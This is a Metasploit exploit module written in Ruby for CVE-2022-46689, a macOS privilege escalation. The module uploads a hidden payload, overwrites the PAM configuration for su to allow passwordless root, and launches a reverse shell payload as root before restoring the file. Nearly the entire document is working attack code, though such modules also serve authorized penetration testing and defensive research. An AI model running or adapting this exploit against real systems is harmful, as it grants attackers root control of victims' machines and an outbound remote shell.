## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Post::File include Msf::Post::OSX::Priv include Msf::Post::OSX::System include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'macOS Dirty Cow Arbitrary File Write Local Privilege Escalation', 'Description' => %q{ An app may be able to execute arbitrary code with kernel privileges }, 'License' => MSF_LICENSE, 'Author' => [ 'Ian Beer', # discovery 'Zhuowei Zhang', # proof of concept 'timwr' # metasploit integration ], 'References' => [ ['CVE', '2022-46689'], ['URL', 'https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/tests/vm/vm_unaligned_copy_switch_race.c'], ['URL', 'https://github.com/zhuowei/MacDirtyCowDemo'], ], 'Platform' => 'osx', 'Arch' => ARCH_X64, 'SessionTypes' => ['shell', 'meterpreter'], 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/shell_reverse_tcp' }, 'Targets' => [ [ 'Mac OS X x64 (Native Payload)', {} ], ], 'DisclosureDate' => '2022-12-17', 'Notes' => { 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES], 'Reliability' => [REPEATABLE_SESSION], 'Stability' => [CRASH_SAFE] } ) ) register_advanced_options [ OptString.new('TargetFile', [ true, 'The pam.d file to overwrite', '/etc/pam.d/su' ]), OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ] end def check version = Rex::Version.new(get_system_version) if version > Rex::Version.new('13.0.1') CheckCode::Safe elsif version < Rex::Version.new('13.0') && version > Rex::Version.new('12.6.1') CheckCode::Safe elsif version < Rex::Version.new('10.15') CheckCode::Safe else CheckCode::Appears end end def exploit if is_root? fail_with Failure::BadConfig, 'Session already has root privileges' end unless writable? datastore['WritableDir'] fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable" end payload_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}" binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded) upload_and_chmodx payload_file, binary_payload register_file_for_cleanup payload_file target_file = datastore['TargetFile'] current_content = read_file(target_file) backup_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}" unless write_file(backup_file, current_content) fail_with Failure::BadConfig, "#{backup_file} is not writable" end register_file_for_cleanup backup_file replace_content = current_content.sub('rootok', 'permit') replace_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}" unless write_file(replace_file, replace_content) fail_with Failure::BadConfig, "#{replace_file} is not writable" end register_file_for_cleanup replace_file exploit_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}" exploit_exe = exploit_data 'CVE-2022-46689', 'exploit' upload_and_chmodx exploit_file, exploit_exe register_file_for_cleanup exploit_file exploit_cmd = "#{exploit_file} #{target_file} #{replace_file}" print_status("Executing exploit '#{exploit_cmd}'") result = cmd_exec(exploit_cmd) print_status("Exploit result:\n#{result}") su_cmd = "echo '#{payload_file} & disown' | su" print_status("Running cmd:\n#{su_cmd}") result = cmd_exec(su_cmd) unless result.blank? print_status("Command output:\n#{result}") end exploit_cmd = "#{exploit_file} #{target_file} #{backup_file}" print_status("Executing exploit (restoring) '#{exploit_cmd}'") result = cmd_exec(exploit_cmd) print_status("Exploit result:\n#{result}") end end